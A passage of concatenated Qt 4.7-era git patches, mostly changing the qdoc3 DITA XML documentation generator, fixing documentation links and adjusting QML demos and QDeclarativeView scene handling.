+5047,8 @@ void DitaXmlGenerator::writeProperties(const Section& s, const PropertyNode* pn = static_cast(*m); xmlWriter().writeStartElement(CXXVARIABLE); xmlWriter().writeAttribute("id",pn->guid()); + if (!attribute.isEmpty()) + xmlWriter().writeAttribute("outputclass",attribute); xmlWriter().writeStartElement("apiName"); xmlWriter().writeCharacters(pn->name()); xmlWriter().writeEndElement(); // @@ -5333,7 +5150,8 @@ void DitaXmlGenerator::writeProperties(const Section& s, This function outputs the nodes resulting from \variable commands. */ void DitaXmlGenerator::writeDataMembers(const Section& s, - CodeMarker* marker) + CodeMarker* marker, + const QString& attribute) { NodeList::ConstIterator m = s.members.begin(); while (m != s.members.end()) { @@ -5341,6 +5159,8 @@ void DitaXmlGenerator::writeDataMembers(const Section& s, const VariableNode* vn = static_cast(*m); xmlWriter().writeStartElement(CXXVARIABLE); xmlWriter().writeAttribute("id",vn->guid()); + if (!attribute.isEmpty()) + xmlWriter().writeAttribute("outputclass",attribute); xmlWriter().writeStartElement("apiName"); xmlWriter().writeCharacters(vn->name()); xmlWriter().writeEndElement(); // @@ -5414,7 +5234,8 @@ void DitaXmlGenerator::writeDataMembers(const Section& s, This function writes a \macro as a . */ void DitaXmlGenerator::writeMacros(const Section& s, - CodeMarker* marker) + CodeMarker* marker, + const QString& attribute) { NodeList::ConstIterator m = s.members.begin(); while (m != s.members.end()) { @@ -5423,6 +5244,8 @@ void DitaXmlGenerator::writeMacros(const Section& s, if (fn->isMacro()) { xmlWriter().writeStartElement(CXXDEFINE); xmlWriter().writeAttribute("id",fn->guid()); + if (!attribute.isEmpty()) + xmlWriter().writeAttribute("outputclass",attribute); xmlWriter().writeStartElement("apiName"); xmlWriter().writeCharacters(fn->name()); xmlWriter().writeEndElement(); // diff --git a/tools/qdoc3/ditaxmlgenerator.h b/tools/qdoc3/ditaxmlgenerator.h index afa77bb..aa8ca77 100644 --- a/tools/qdoc3/ditaxmlgenerator.h +++ b/tools/qdoc3/ditaxmlgenerator.h @@ -116,14 +116,25 @@ class DitaXmlGenerator : public PageGenerator void writeLocation(const Node* n); void writeFunctions(const Section& s, const Node* n, - CodeMarker* marker); + CodeMarker* marker, + const QString& attribute = QString()); void writeNestedClasses(const Section& s, const Node* n); void writeParameters(const FunctionNode* fn); - void writeEnumerations(const Section& s, CodeMarker* marker); - void writeTypedefs(const Section& s, CodeMarker* marker); - void writeDataMembers(const Section& s, CodeMarker* marker); - void writeProperties(const Section& s, CodeMarker* marker); - void writeMacros(const Section& s, CodeMarker* marker); + void writeEnumerations(const Section& s, + CodeMarker* marker, + const QString& attribute = QString()); + void writeTypedefs(const Section& s, + CodeMarker* marker, + const QString& attribute = QString()); + void writeDataMembers(const Section& s, + CodeMarker* marker, + const QString& attribute = QString()); + void writeProperties(const Section& s, + CodeMarker* marker, + const QString& attribute = QString()); + void writeMacros(const Section& s, + CodeMarker* marker, + const QString& attribute = QString()); void writePropertyParameter(const QString& tag, const NodeList& nlist); private: @@ -153,6 +164,9 @@ class DitaXmlGenerator : public PageGenerator CodeMarker* marker, QList
    * sections = 0); QString generateListOfAllMemberFile(const InnerNode* inner, CodeMarker* marker); + void generateLowStatusMembers(const InnerNode* inner, + CodeMarker* marker, + CodeMarker::Status status); QString generateLowStatusMemberFile(const InnerNode* inner, CodeMarker* marker, CodeMarker::Status status); -- cgit v0.12 From 2f1726c4e10a6fbafb4953d68946d5501f5e0c8c Mon Sep 17 00:00:00 2001 From: Joona Petrell Date: Fri, 29 Oct 2010 11:40:39 +1000 Subject: Fix zooming in declarative webbrowser demo Task-number: Reviewed-by: Martin Jones --- demos/declarative/webbrowser/content/FlickableWebView.qml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/demos/declarative/webbrowser/content/FlickableWebView.qml b/demos/declarative/webbrowser/content/FlickableWebView.qml index 6f4e09c..a82a151 100644 --- a/demos/declarative/webbrowser/content/FlickableWebView.qml +++ b/demos/declarative/webbrowser/content/FlickableWebView.qml @@ -128,7 +128,7 @@ Flickable { if (!heuristicZoom(clickX,clickY,2.5)) { var zf = flickable.width / contentsSize.width if (zf >= contentsScale) - zf = 2.0/zoomFactor // zoom in (else zooming out) + zf = 2.0*contentsScale // zoom in (else zooming out) doZoom(zf,clickX*zf,clickY*zf) } } -- cgit v0.12 From deea8d2b324ca98d48c931c6d3a14ec197388f50 Mon Sep 17 00:00:00 2001 From: Joona Petrell Date: Fri, 29 Oct 2010 13:05:16 +1000 Subject: Suppress current item null warnings when running Browser.qml Task-number: Reviewed-by: Martin Jones --- tools/qml/browser/Browser.qml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/tools/qml/browser/Browser.qml b/tools/qml/browser/Browser.qml index ebed72f..b9573da 100644 --- a/tools/qml/browser/Browser.qml +++ b/tools/qml/browser/Browser.qml @@ -180,7 +180,7 @@ Rectangle { GradientStop { id: t1; position: 0.0; color: palette.highlight } GradientStop { id: t2; position: 1.0; color: Qt.lighter(palette.highlight) } } - width: view1.currentItem.width + width: view1.currentItem == null ? 0 : view1.currentItem.width } highlightMoveSpeed: 1000 pressDelay: 100 @@ -230,7 +230,7 @@ Rectangle { GradientStop { id: t1; position: 0.0; color: palette.highlight } GradientStop { id: t2; position: 1.0; color: Qt.lighter(palette.highlight) } } - width: view1.currentItem.width + width: view1.currentItem == null ? 0 : view1.currentItem.width } highlightMoveSpeed: 1000 pressDelay: 100 -- cgit v0.12 From 08ab82e447a0cac0a48daf900c57127c2ee534d2 Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Fri, 29 Oct 2010 12:34:53 +0200 Subject: qdoc: Don't put classes that have empty doc in hierarchy. --- tools/qdoc3/ditaxmlgenerator.cpp | 17 +++-------------- tools/qdoc3/htmlgenerator.cpp | 2 +- 2 files changed, 4 insertions(+), 15 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index fa0aa43..a885f29 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -2271,18 +2271,6 @@ void DitaXmlGenerator::generateTitle(const QString& title, void DitaXmlGenerator::generateBrief(const Node* node, CodeMarker* marker) { Text brief = node->doc().briefText(true); // zzz - if (outFileName() == "requirements-x11.xml") { - if (brief.isEmpty()) - qDebug() << "EMPTY BRIEF"; - else { - qDebug() << "NON-EMPTY BRIEF"; - Atom* a = brief.firstAtom(); - while (a != 0) { - qDebug() << " " << a->type() << a->typeString() << a->string(); - a = a->next(); - } - } - } if (!brief.isEmpty()) { generateText(brief, node, marker); } @@ -2626,7 +2614,7 @@ void DitaXmlGenerator::generateClassHierarchy(const Node* relative, NodeMap newTop; foreach (const RelatedClass &d, child->derivedClasses()) { - if (d.access != Node::Private) + if (d.access != Node::Private && !d.node->doc().isEmpty()) newTop.insert(d.node->name(), d.node); } if (!newTop.isEmpty()) { @@ -4587,7 +4575,8 @@ void DitaXmlGenerator::writeDerivations(const ClassNode* cn, CodeMarker* marker) // not included: xmlWriter().writeStartElement(CXXCLASSBASECLASS); - xmlWriter().writeAttribute("href",(*r).node->ditaXmlHref()); + QString attr = fileName((*r).node) + "#" + (*r).node->guid(); + xmlWriter().writeAttribute("href",attr); xmlWriter().writeCharacters(marker->plainFullName((*r).node)); xmlWriter().writeEndElement(); // diff --git a/tools/qdoc3/htmlgenerator.cpp b/tools/qdoc3/htmlgenerator.cpp index 19b86e0..9ce8522 100644 --- a/tools/qdoc3/htmlgenerator.cpp +++ b/tools/qdoc3/htmlgenerator.cpp @@ -2424,7 +2424,7 @@ void HtmlGenerator::generateClassHierarchy(const Node *relative, NodeMap newTop; foreach (const RelatedClass &d, child->derivedClasses()) { - if (d.access != Node::Private) + if (d.access != Node::Private && !d.node->doc().isEmpty()) newTop.insert(d.node->name(), d.node); } if (!newTop.isEmpty()) { -- cgit v0.12 From 5fdbfcaa0ebda0b2062d962734546309c6d2247c Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Mon, 1 Nov 2010 08:25:03 +0100 Subject: doc: Corrections to linking errors detected by the DITA XML generator.. --- doc/src/examples/svgalib.qdoc | 5 ++--- doc/src/platforms/emb-accel.qdoc | 4 ++-- doc/src/porting/porting4-modifiedvirtual.qdocinc | 2 +- src/qt3support/network/q3dns.cpp | 27 ++++++++++++++++-------- 4 files changed, 23 insertions(+), 15 deletions(-) diff --git a/doc/src/examples/svgalib.qdoc b/doc/src/examples/svgalib.qdoc index 3e3e4d5..f733058 100644 --- a/doc/src/examples/svgalib.qdoc +++ b/doc/src/examples/svgalib.qdoc @@ -322,9 +322,8 @@ \snippet examples/qws/svgalib/svgalibsurface.h 0 We can implement most of the pure virtual functions inherited from - QWSWindowSurface as trivial inline functions, except the - \l {QWindowSurface::}{scroll()} function that actually makes use - of some hardware acceleration: + QWSWindowSurface as trivial inline functions, except the scroll() + function that actually makes use of some hardware acceleration: \snippet examples/qws/svgalib/svgalibsurface.cpp 0 diff --git a/doc/src/platforms/emb-accel.qdoc b/doc/src/platforms/emb-accel.qdoc index c8854f7..77447de 100644 --- a/doc/src/platforms/emb-accel.qdoc +++ b/doc/src/platforms/emb-accel.qdoc @@ -117,8 +117,8 @@ \section1 Step 4: Make the Window Surface Aware of Your Paint Device - Derive from the QWSWindowSurface class and reimplement its \l - {QWSWindowSurface::}{paintDevice()} function. Make this function + Derive from the QWSWindowSurface class and reimplement its + paintDevice() function. Make this function return a pointer to your custom raster paint device. \section1 Step 5: Enable Creation of an Instance of Your Window Surface diff --git a/doc/src/porting/porting4-modifiedvirtual.qdocinc b/doc/src/porting/porting4-modifiedvirtual.qdocinc index 1164238..332543f 100644 --- a/doc/src/porting/porting4-modifiedvirtual.qdocinc +++ b/doc/src/porting/porting4-modifiedvirtual.qdocinc @@ -10,7 +10,7 @@ \row \o bool QMacMime::canConvert(const char *, int) \o bool QMacMime::canConvert(const QString &, int) \row \o QValueList QMacMime::convertFromMime(QByteArray, const char *, int) \o QList QMacMime::convertFromMime(QByteArray, const QString &, int) \row \o QByteArray QMacMime::convertToMime(QValueList data, const char *, int) \o QByteArray QMacMime::convertToMime(QList data, const QString &, int) -\row \o const char * QMacMime::convertorName() \o QString QMacMime::convertorName() +\row \o const char * QMacMime::convertorName( ) \o QString QMacMime::convertorName( ) \row \o int QMacMime::flavorFor(const char *) \o int QMacMime::flavorFor(const QString &) \row \o const char * QMacMime::mimeFor(int) \o QString QMacMime::mimeFor(int) \row \o QMetaObject * QObject::metaObject() const \o const QMetaObject * QObject::metaObject() const diff --git a/src/qt3support/network/q3dns.cpp b/src/qt3support/network/q3dns.cpp index e0e9909..cc39566 100644 --- a/src/qt3support/network/q3dns.cpp +++ b/src/qt3support/network/q3dns.cpp @@ -2009,15 +2009,20 @@ Q3ValueList Q3Dns::addresses() const \class Q3Dns::MailServer \brief The Q3Dns::MailServer class is described in Q3Dns::mailServers(). - \internal +*/ + + +/*! \fn Q3Dns::MailServer::MailServer(const QString& n, Q_UINT16 p) + The constructor sets the public data members name and priority. + \a n is the name and \a p is the priority. */ /*! Returns a list of mail servers if the record type is \c Mx. The class Q3Dns::MailServer contains the following public variables: \list - \i QString Q3Dns::MailServer::name - \i Q_UINT16 Q3Dns::MailServer::priority + \o QString Q3Dns::MailServer::name + \o Q_UINT16 Q3Dns::MailServer::priority \endlist Note that if you want to iterate over the list, you should iterate @@ -2048,22 +2053,26 @@ Q3ValueList Q3Dns::mailServers() const return result; } - /*! \class Q3Dns::Server \brief The Q3Dns::Server class is described in Q3Dns::servers(). - \internal +*/ + +/*! \fn Q3Dns::Server::Server(const QString& n, Q_UINT16 p, Q_UINT16 w, Q_UINT16 po) + The constructor sets the public data members name, priority, + weight, and port. \a n is the name, \a p is the priority, + \a w is the weight, and \a po is the port. */ /*! Returns a list of servers if the record type is \c Srv. The class Q3Dns::Server contains the following public variables: \list - \i QString Q3Dns::Server::name - \i Q_UINT16 Q3Dns::Server::priority - \i Q_UINT16 Q3Dns::Server::weight - \i Q_UINT16 Q3Dns::Server::port + \o QString Q3Dns::Server::name + \o Q_UINT16 Q3Dns::Server::priority + \o Q_UINT16 Q3Dns::Server::weight + \o Q_UINT16 Q3Dns::Server::port \endlist Note that if you want to iterate over the list, you should iterate -- cgit v0.12 From 56ae8da559b3d225698eb79b78eec44a8b62239d Mon Sep 17 00:00:00 2001 From: Joona Petrell Date: Mon, 1 Nov 2010 18:00:40 +1000 Subject: Increase cachebuffer in Flickr demo to quarantee expanded delegate is not deleted the during device orientation change Task-number: QT-3824 Reviewed-by: Martin Jones --- demos/declarative/flickr/flickr.qml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/demos/declarative/flickr/flickr.qml b/demos/declarative/flickr/flickr.qml index 740ee35..9387948 100644 --- a/demos/declarative/flickr/flickr.qml +++ b/demos/declarative/flickr/flickr.qml @@ -62,7 +62,7 @@ Item { GridView { id: photoGridView; model: rssModel; delegate: Mobile.GridDelegate {} - cacheBuffer: 100 + cacheBuffer: 1000 cellWidth: (parent.width-2)/4; cellHeight: cellWidth; width: parent.width; height: parent.height } -- cgit v0.12 From d5d44eb800f1c0be15d49521cf991a1c9466cb78 Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Mon, 1 Nov 2010 12:04:32 +0100 Subject: doc: Corrections to linking errors in the docs. --- src/gui/dialogs/qpagesetupdialog.cpp | 8 ++++---- src/qt3support/tools/q3memarray.qdoc | 4 ++-- src/qt3support/tools/q3ptrlist.qdoc | 3 ++- tools/qdoc3/ditaxmlgenerator.cpp | 15 +++++++++------ tools/qdoc3/htmlgenerator.cpp | 1 + tools/qdoc3/node.cpp | 15 +++++++++++++++ tools/qdoc3/node.h | 2 ++ 7 files changed, 35 insertions(+), 13 deletions(-) diff --git a/src/gui/dialogs/qpagesetupdialog.cpp b/src/gui/dialogs/qpagesetupdialog.cpp index 5d77de1..141a687 100644 --- a/src/gui/dialogs/qpagesetupdialog.cpp +++ b/src/gui/dialogs/qpagesetupdialog.cpp @@ -104,10 +104,10 @@ class QPageSetupDialogPrivate : public QAbstractPageSetupDialogPrivate This value is obsolete and does nothing since Qt 4.5: - \value DontUseSheet In previous versions of Qt, exec() the page setup dialog - would create a sheet by default if the dialog was given a parent. - This is no longer supported in Qt 4.5. If you want to use sheets, use - QPageSetupDialog::open() instead. + \value DontUseSheet In previous versions of QDialog::exec() the + page setup dialog would create a sheet by default if the dialog + was given a parent. This is no longer supported from Qt 4.5. If + you want to use sheets, use QPageSetupDialog::open() instead. \omitvalue None \omitvalue OwnsPrinter diff --git a/src/qt3support/tools/q3memarray.qdoc b/src/qt3support/tools/q3memarray.qdoc index 13b1c2f..fdf0411 100644 --- a/src/qt3support/tools/q3memarray.qdoc +++ b/src/qt3support/tools/q3memarray.qdoc @@ -221,8 +221,8 @@ New elements are not initialized. - \a optim is either Q3GArray::MemOptim (the default) or - Q3GArray::SpeedOptim. When optimizing for speed rather than memory + \a optim is either \c MemOptim (the default) or + \c SpeedOptim. When optimizing for speed rather than memory consumption, the array uses a smart grow and shrink algorithm that might allocate more memory than is actually needed for \a size elements. This speeds up subsequent resize operations, for example diff --git a/src/qt3support/tools/q3ptrlist.qdoc b/src/qt3support/tools/q3ptrlist.qdoc index 294e4ba..cbba1b7 100644 --- a/src/qt3support/tools/q3ptrlist.qdoc +++ b/src/qt3support/tools/q3ptrlist.qdoc @@ -93,7 +93,8 @@ also holds pointers to the next and previous list items. The functions currentNode(), removeNode(), and takeNode() operate directly on the Q3LNode, but they should be used with care. The - data component of the node is available through Q3LNode::getData(). + data component of the node is available through Q3LNode's getData() + function. The Q3StrList class is a list of \c char*. It reimplements newItem(), deleteItem() and compareItems(). (But diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index a885f29..4bc08a3 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -2907,7 +2907,7 @@ void DitaXmlGenerator::generateFunctionIndex(const Node* relative, CodeMarker* marker) { xmlWriter().writeStartElement("p"); - xmlWriter().writeAttribute("outputclass","centerAlign functionIndex"); + xmlWriter().writeAttribute("outputclass","function-index"); xmlWriter().writeStartElement("b"); for (int i = 0; i < 26; i++) { QChar ch('a' + i); @@ -3980,6 +3980,7 @@ void DitaXmlGenerator::findAllFunctions(const InnerNode* node) else if ((*c)->type() == Node::Function) { const FunctionNode* func = static_cast(*c); if ((func->status() > Node::Obsolete) && + !func->isInternal() && (func->metaness() != FunctionNode::Ctor) && (func->metaness() != FunctionNode::Dtor)) { funcIndex[(*c)->name()].insert(myTree->fullDocumentName((*c)->parent()), *c); @@ -4776,12 +4777,14 @@ void DitaXmlGenerator::writeFunctions(const Section& s, xmlWriter().writeCharacters(fnl); xmlWriter().writeEndElement(); // - if (fn->isReimp() && fn->reimplementedFrom() != 0) { + if (!fn->isInternal() && fn->isReimp() && fn->reimplementedFrom() != 0) { FunctionNode* rfn = (FunctionNode*)fn->reimplementedFrom(); - xmlWriter().writeStartElement(CXXFUNCTIONREIMPLEMENTED); - xmlWriter().writeAttribute("href",rfn->ditaXmlHref()); - xmlWriter().writeCharacters(marker->plainFullName(rfn)); - xmlWriter().writeEndElement(); // + if (rfn && !rfn->isInternal()) { + xmlWriter().writeStartElement(CXXFUNCTIONREIMPLEMENTED); + xmlWriter().writeAttribute("href",rfn->ditaXmlHref()); + xmlWriter().writeCharacters(marker->plainFullName(rfn)); + xmlWriter().writeEndElement(); // + } } writeParameters(fn); writeLocation(fn); diff --git a/tools/qdoc3/htmlgenerator.cpp b/tools/qdoc3/htmlgenerator.cpp index 9ce8522..c247be8 100644 --- a/tools/qdoc3/htmlgenerator.cpp +++ b/tools/qdoc3/htmlgenerator.cpp @@ -3807,6 +3807,7 @@ void HtmlGenerator::findAllFunctions(const InnerNode *node) else if ((*c)->type() == Node::Function) { const FunctionNode *func = static_cast(*c); if ((func->status() > Node::Obsolete) && + !func->isInternal() && (func->metaness() != FunctionNode::Ctor) && (func->metaness() != FunctionNode::Dtor)) { funcIndex[(*c)->name()].insert(myTree->fullDocumentName((*c)->parent()), *c); diff --git a/tools/qdoc3/node.cpp b/tools/qdoc3/node.cpp index f4736f3..d787bc9 100644 --- a/tools/qdoc3/node.cpp +++ b/tools/qdoc3/node.cpp @@ -1364,6 +1364,21 @@ QString FunctionNode::signature(bool values) const } /*! + Returns true if the node's status is Internal, or if its + parent is a class with internal status. + */ +bool FunctionNode::isInternal() const +{ + if (status() == Internal) + return true; + if (parent() && parent()->status() == Internal) + return true; + if (relates() && relates()->status() == Internal) + return true; + return false; +} + +/*! Print some debugging stuff. */ void FunctionNode::debug() const diff --git a/tools/qdoc3/node.h b/tools/qdoc3/node.h index 0b493ee..69f3ba5 100644 --- a/tools/qdoc3/node.h +++ b/tools/qdoc3/node.h @@ -164,6 +164,7 @@ class Node virtual bool isReimp() const { return false; } virtual bool isFunction() const { return false; } virtual bool isQmlNode() const { return false; } + virtual bool isInternal() const { return false; } Type type() const { return typ; } virtual SubType subType() const { return NoSubType; } InnerNode* parent() const { return par; } @@ -636,6 +637,7 @@ class FunctionNode : public LeafNode virtual bool isQmlNode() const { return ((type() == QmlSignal) || (type() == QmlMethod)); } + virtual bool isInternal() const; void debug() const; -- cgit v0.12 From aa43c2150e48af27bbb623aae57c2d48bccbdde0 Mon Sep 17 00:00:00 2001 From: Joona Petrell Date: Tue, 2 Nov 2010 11:37:38 +1000 Subject: Fix QML calculator demo being wrongly rotated for landscape devices Task-number: QTBUG-14909 Reviewed-by: Martin Jones --- demos/declarative/calculator/calculator.qml | 22 +++++++++++++--------- 1 file changed, 13 insertions(+), 9 deletions(-) diff --git a/demos/declarative/calculator/calculator.qml b/demos/declarative/calculator/calculator.qml index 3e1c650..b3e4f2f 100644 --- a/demos/declarative/calculator/calculator.qml +++ b/demos/declarative/calculator/calculator.qml @@ -46,7 +46,7 @@ import "Core/calculator.js" as CalcEngine Rectangle { id: window - width: 480; height: 360 + width: 360; height: 480 color: "#282828" property string rotateLeft: "\u2939" @@ -63,7 +63,15 @@ Rectangle { id: main state: "orientation " + runtime.orientation - width: parent.width; height: parent.height; anchors.centerIn: parent + property bool landscapeWindow: window.width > window.height + property real baseWidth: landscapeWindow ? window.height : window.width + property real baseHeight: landscapeWindow ? window.width : window.height + property real rotationDelta: landscapeWindow ? -90 : 0 + + rotation: rotationDelta + width: main.baseWidth + height: main.baseHeight + anchors.centerIn: parent Column { id: box; spacing: 8 @@ -132,24 +140,20 @@ Rectangle { states: [ State { name: "orientation " + Orientation.Landscape - PropertyChanges { target: main; rotation: 90; width: window.height; height: window.width } - PropertyChanges { target: rotateButton; operation: rotateLeft } + PropertyChanges { target: main; rotation: 90 + rotationDelta; width: main.baseHeight; height: main.baseWidth } }, State { name: "orientation " + Orientation.PortraitInverted - PropertyChanges { target: main; rotation: 180; } - PropertyChanges { target: rotateButton; operation: rotateRight } + PropertyChanges { target: main; rotation: 180 + rotationDelta; } }, State { name: "orientation " + Orientation.LandscapeInverted - PropertyChanges { target: main; rotation: 270; width: window.height; height: window.width } - PropertyChanges { target: rotateButton; operation: rotateLeft } + PropertyChanges { target: main; rotation: 270 + rotationDelta; width: main.baseHeight; height: main.baseWidth } } ] transitions: Transition { SequentialAnimation { - PropertyAction { target: rotateButton; property: "operation" } RotationAnimation { direction: RotationAnimation.Shortest; duration: 300; easing.type: Easing.InOutQuint } NumberAnimation { properties: "x,y,width,height"; duration: 300; easing.type: Easing.InOutQuint } } -- cgit v0.12 From 54ca4ebba8aa5c26516424a952f8e6d4ab919f6e Mon Sep 17 00:00:00 2001 From: Joona Petrell Date: Tue, 2 Nov 2010 19:44:06 +1000 Subject: Make it possible to add your own graphics scene to QDeclarativeView Task-number: QTBUG-14771 Reviewed-by: Martin Jones --- src/declarative/util/qdeclarativeview.cpp | 24 ++++++++++++---------- .../qdeclarativeview/tst_qdeclarativeview.cpp | 21 +++++++++++++++++++ 2 files changed, 34 insertions(+), 11 deletions(-) diff --git a/src/declarative/util/qdeclarativeview.cpp b/src/declarative/util/qdeclarativeview.cpp index 2381172..6864a8b 100644 --- a/src/declarative/util/qdeclarativeview.cpp +++ b/src/declarative/util/qdeclarativeview.cpp @@ -76,7 +76,7 @@ DEFINE_BOOL_CONFIG_OPTION(frameRateDebug, QML_SHOW_FRAMERATE) class QDeclarativeScene : public QGraphicsScene { public: - QDeclarativeScene(); + QDeclarativeScene(QObject *parent = 0); protected: virtual void keyPressEvent(QKeyEvent *); @@ -87,7 +87,7 @@ protected: virtual void mouseReleaseEvent(QGraphicsSceneMouseEvent *); }; -QDeclarativeScene::QDeclarativeScene() +QDeclarativeScene::QDeclarativeScene(QObject *parent) : QGraphicsScene(parent) { } @@ -131,7 +131,8 @@ class QDeclarativeViewPrivate : public QGraphicsViewPrivate, public QDeclarative Q_DECLARE_PUBLIC(QDeclarativeView) public: QDeclarativeViewPrivate() - : root(0), declarativeItemRoot(0), graphicsWidgetRoot(0), component(0), resizeMode(QDeclarativeView::SizeViewToRootObject), initialSize(0,0) {} + : root(0), declarativeItemRoot(0), graphicsWidgetRoot(0), component(0), + resizeMode(QDeclarativeView::SizeViewToRootObject), initialSize(0,0) {} ~QDeclarativeViewPrivate() { delete root; delete engine; } void execute(); void itemGeometryChanged(QDeclarativeItem *item, const QRectF &newGeometry, const QRectF &oldGeometry); @@ -154,8 +155,6 @@ public: QElapsedTimer frameTimer; void init(); - - QDeclarativeScene scene; }; void QDeclarativeViewPrivate::execute() @@ -233,6 +232,9 @@ void QDeclarativeViewPrivate::itemGeometryChanged(QDeclarativeItem *resizeItem, you can connect to the statusChanged() signal and monitor for QDeclarativeView::Error. The errors are available via QDeclarativeView::errors(). + If you're using your own QGraphicsScene-based scene with QDeclarativeView, remember to + enable scene's sticky focus mode and to set itemIndexMethod to QGraphicsScene::NoIndex. + \sa {Integrating QML with existing Qt UI code}, {Using QML in C++ Applications} */ @@ -276,7 +278,7 @@ void QDeclarativeViewPrivate::init() { Q_Q(QDeclarativeView); engine = new QDeclarativeEngine(); - q->setScene(&scene); + q->setScene(new QDeclarativeScene(q)); q->setOptimizationFlags(QGraphicsView::DontSavePainterState); q->setHorizontalScrollBarPolicy(Qt::ScrollBarAlwaysOff); @@ -285,11 +287,11 @@ void QDeclarativeViewPrivate::init() // These seem to give the best performance q->setViewportUpdateMode(QGraphicsView::BoundingRectViewportUpdate); - scene.setItemIndexMethod(QGraphicsScene::NoIndex); + q->scene()->setItemIndexMethod(QGraphicsScene::NoIndex); q->viewport()->setFocusPolicy(Qt::NoFocus); q->setFocusPolicy(Qt::StrongFocus); - scene.setStickyFocus(true); //### needed for correct focus handling + q->scene()->setStickyFocus(true); //### needed for correct focus handling } /*! @@ -555,14 +557,14 @@ void QDeclarativeView::continueExecute() void QDeclarativeView::setRootObject(QObject *obj) { Q_D(QDeclarativeView); - if (d->root == obj) + if (d->root == obj || !scene()) return; if (QDeclarativeItem *declarativeItem = qobject_cast(obj)) { - d->scene.addItem(declarativeItem); + scene()->addItem(declarativeItem); d->root = declarativeItem; d->declarativeItemRoot = declarativeItem; } else if (QGraphicsObject *graphicsObject = qobject_cast(obj)) { - d->scene.addItem(graphicsObject); + scene()->addItem(graphicsObject); d->root = graphicsObject; if (graphicsObject->isWidget()) { d->graphicsWidgetRoot = static_cast(graphicsObject); diff --git a/tests/auto/declarative/qdeclarativeview/tst_qdeclarativeview.cpp b/tests/auto/declarative/qdeclarativeview/tst_qdeclarativeview.cpp index 9ac79e4..efa5a9b 100644 --- a/tests/auto/declarative/qdeclarativeview/tst_qdeclarativeview.cpp +++ b/tests/auto/declarative/qdeclarativeview/tst_qdeclarativeview.cpp @@ -60,6 +60,7 @@ public: tst_QDeclarativeView(); private slots: + void scene(); void resizemodedeclarativeitem(); void resizemodegraphicswidget(); void errors(); @@ -74,6 +75,26 @@ tst_QDeclarativeView::tst_QDeclarativeView() { } +void tst_QDeclarativeView::scene() +{ + // QTBUG-14771 + QGraphicsScene scene; + scene.setItemIndexMethod(QGraphicsScene::NoIndex); + scene.setStickyFocus(true); + + QDeclarativeView *view = new QDeclarativeView(); + QVERIFY(view); + QVERIFY(view->scene()); + view->setScene(&scene); + QCOMPARE(view->scene(), &scene); + + view->setSource(QUrl::fromLocalFile(SRCDIR "/data/resizemodedeclarativeitem.qml")); + QDeclarativeItem* declarativeItem = qobject_cast(view->rootObject()); + QVERIFY(declarativeItem); + QVERIFY(scene.items().count() > 0); + QCOMPARE(scene.items().at(0), declarativeItem); +} + void tst_QDeclarativeView::resizemodedeclarativeitem() { QWidget window; -- cgit v0.12 From b2793a9b7f14508be5cf14bb19127e886b8f1492 Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Thu, 4 Nov 2010 13:26:25 +0100 Subject: qdoc: Added the element to the This contains the next, previous, and start links for pages that have them. Task-number: QTBUG-14980 --- tools/qdoc3/ditaxmlgenerator.cpp | 59 ++++++++++++++++++++++++++++++++++++++-- tools/qdoc3/ditaxmlgenerator.h | 2 ++ 2 files changed, 59 insertions(+), 2 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index 4bc08a3..b69e731 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -2036,7 +2036,7 @@ void DitaXmlGenerator::writeXrefListItem(const QString& link, const QString& tex Generate the html page for a qdoc file that doesn't map to an underlying c++ file. */ -void DitaXmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker) +void DitaXmlGenerator::generateFakeNode(const FakeNode* fake, CodeMarker* marker) { SubTitleSize subTitleSize = LargeSubTitle; QList
    sections; @@ -2054,7 +2054,6 @@ void DitaXmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker } generateHeader(fake, fullTitle); - generateBrief(fake, marker); // xmlWriter().writeStartElement("body"); if (fake->subType() == Node::Module) { @@ -2115,10 +2114,65 @@ void DitaXmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker } } xmlWriter().writeEndElement(); // + writeRelatedLinks(fake, marker); xmlWriter().writeEndElement(); // } /*! + This function writes a \e{} element inside a + \e{} element. + + \sa writeRelatedLinks() + */ +void DitaXmlGenerator::writeLink(const Node* node, + const QString& text, + const QString& role) +{ + if (node) { + QString link = fileName(node) + "#" + node->guid(); + xmlWriter().writeStartElement("link"); + xmlWriter().writeAttribute("href", link); + xmlWriter().writeAttribute("role", role); + xmlWriter().writeStartElement("linktext"); + xmlWriter().writeCharacters(text); + xmlWriter().writeEndElement(); // + xmlWriter().writeEndElement(); // + } +} + +/*! + This function writes a \e{} element, which + contains the \c{next}, \c{previous}, and \c{start} + links for topic pages that have them. Note that the + value of the \e role attribute is \c{parent} for the + \c{start} link. + */ +void DitaXmlGenerator::writeRelatedLinks(const FakeNode* node, CodeMarker* marker) +{ + const Node* linkNode = 0; + QPair linkPair; + if (node && !node->links().empty()) { + xmlWriter().writeStartElement("related-links"); + if (node->links().contains(Node::PreviousLink)) { + linkPair = node->links()[Node::PreviousLink]; + linkNode = findNodeForTarget(linkPair.first, node, marker); + writeLink(linkNode, linkPair.second, "previous"); + } + if (node->links().contains(Node::NextLink)) { + linkPair = node->links()[Node::NextLink]; + linkNode = findNodeForTarget(linkPair.first, node, marker); + writeLink(linkNode, linkPair.second, "next"); + } + if (node->links().contains(Node::StartLink)) { + linkPair = node->links()[Node::StartLink]; + linkNode = findNodeForTarget(linkPair.first, node, marker); + writeLink(linkNode, linkPair.second, "parent"); + } + xmlWriter().writeEndElement(); // + } +} + +/*! Returns 